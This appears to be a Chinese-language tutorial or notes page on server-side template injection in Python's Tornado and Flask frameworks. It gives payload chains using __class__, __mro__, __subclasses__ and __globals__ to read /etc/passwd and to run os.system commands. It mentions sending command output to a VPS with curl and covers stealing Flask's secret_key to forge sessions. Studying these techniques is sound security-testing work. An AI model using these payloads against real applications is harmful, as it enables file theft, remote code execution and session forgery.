原理
python的SSTI不仅可以向网页插入一些XSS代码,而且还可以获取一些变量和函数信息,尤其是secret_key,如果获取到则可以对flask框架的session可以进行伪造。
对于tornado框架
,render(request, 'account/login.html', {'error': error_msg}如果error_msg用户可控,那么就存在注入。
如果error_msg为
,如果没有过滤则会执行XSS
如果error_msg为{{data}}的话,data则可以执行一些简单的表达式和获取变量,例如:
用户输入error_msg:{{1+1}} 页面则返回:2
对于flask框架
,有时需要根据需要对页面进行显示类中的一些属性,例如用户传入name则返回类中name属性,传入id返回类中id属性的话,那么就可以利用一些魔术方法获得全局变量,例如:
对于返回的是定义的Class内的话:
__dict__ //返回类中的函数和属性,父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法
__subclasses__() //返回类中仍然可用的引用 python3
__globals__ //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
对于tornado render注入类似的利用
一。任意文件读取
①{{' '.__class__}} //
②{{' '.__class__.__mro__}} // (
③{{' '.__class__.__mro__[1].__subclasses__()}} //取到object类的子类,如下:
[
④{{' '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} //取到
二。命令执行
①{{' '.__class__.__mro__[1].__subclasses__()}} //和前面一样先取到object类的子类
②{{' '.__class__.__mro__[2].__subclasses__()[119].__init__}} //取到
③{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__}}//获得
④{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')}} //找到os类执行代码,注:自身实验不存在,视情况而定,命令执行结果无法直接看到,可以用curl将结果发送到vps
上面例子的实际运用:
在一般情况下,模板注入的地方都是位于服务端构造的一个类内,所以可以用
1.__class__.__init__.__globals__ //获得当前类的全局变量
2.__class__.__mro__ //查看所有的类,再用__class__.__mro__[number].__init__.__globals__查看变量
3.__class__.__init__.__globals__[app].__dict__ //查看内部的详细信息
如果获得secret_key就可以伪造session